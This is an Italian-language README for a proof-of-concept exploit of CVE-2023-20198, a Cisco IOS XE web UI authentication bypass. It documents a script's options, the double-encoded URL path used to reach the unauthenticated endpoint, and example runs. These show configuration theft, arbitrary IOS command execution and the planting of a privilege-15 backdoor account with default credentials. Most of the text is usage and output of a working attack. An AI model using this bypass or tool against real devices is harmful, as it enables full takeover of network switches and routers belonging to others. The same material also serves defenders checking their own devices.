
PoC di exploit per CVE-2023-20198
CVE-2023-20198 è caratterizzata da una convalida impropria del percorso per bypassare il filtraggio di Nginx e raggiungere l'endpoint web webui_wsma_http senza richiedere autenticazione.
Bypassando l'autenticazione all'endpoint, un attaccante può eseguire comandi Cisco IOS arbitrari o apportare modifiche alla configurazione con privilegi di livello 15.
L'indagine di Cisco sullo sfruttamento attivo della vulnerabilità precedentemente non divulgata ha rivelato che gli attori delle minacce hanno dapprima sfruttato CVE-2023-20198 per aggiungere un nuovo utente con livello di privilegio 15. Ulteriori attacchi hanno comportato lo sfruttamento di CVE-2023-20273 per ottenere l'escalation all'utente root del sistema operativo Linux sottostante, al fine di facilitare l'impianto di malware.
Questo PoC sfrutta CVE-2023-20198 per utilizzare due diversi endpoint XML SOAP:
Le opzioni di verifica della vulnerabilità, di recupero della configurazione e di esecuzione dei comandi puntano tutte all'endpoint SOAP cisco:wsma-exec per inserire comandi nel tag dell'elemento execCLI.
L'opzione di aggiunta utente punta all'endpoint SOAP cisco:wsma-config per emettere una modifica alla configurazione e aggiungere l'account con privilegio 15. Questo endpoint potrebbe essere [ab]usato per apportare altre modifiche alla configurazione, ma ciò esula dallo scopo di questo PoC.
L'abuso dell'endpoint SOAP cisco:wsma-exec deriva dal template nuclei
L'abuso dell'endpoint SOAP cisco:wsma-config deriva dal PoC di horizon3ai
Nota: non ho svolto alcuna ricerca originale né sviluppato il PoC per questa CVE. Vedi la sezione riferimenti per i crediti.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Per verificare la presenza di CVE-2023-20198, -c tenterà di sfruttare la vulnerabilità per eseguire uname -a
Esempio:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'opzione -g esegue sh run per recuperare la configurazione in esecuzione
Esempio:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
È possibile eseguire comandi Cisco IOS arbitrari con l'opzione -e.
È necessaria la massima cautela quando si utilizza questa opzione per apportare modifiche alla configurazione. Non viene effettuata alcuna validazione degli input e le modifiche vengono applicate immediatamente alla configurazione in esecuzione.
Esempio:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'opzione -a può essere utilizzata per creare un nuovo account utente con privilegio 15, specificando opzionalmente nome utente e password rispettivamente con -u e -p.
Esempio:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'opzione -d può essere utilizzata per rimuovere un account utente dal dispositivo e rispetta il nome utente specificato con -u.
È necessario prestare attenzione per assicurarsi di non eliminare un account legittimo.
Questa opzione è stata aggiunta per i casi in cui non è possibile ottenere l'accesso shell/webui a un dispositivo Cisco compromesso. È stato osservato che l'aggiunta di un utente con privilegio 15 non garantisce l'accesso alla webui e potrebbe lasciare artefatti di sfruttamento sugli host.
Cisco Advisory
Ricerca di horizon3ai su CVE-2023-20198
PoC di horizon3ai per CVE-2023-20198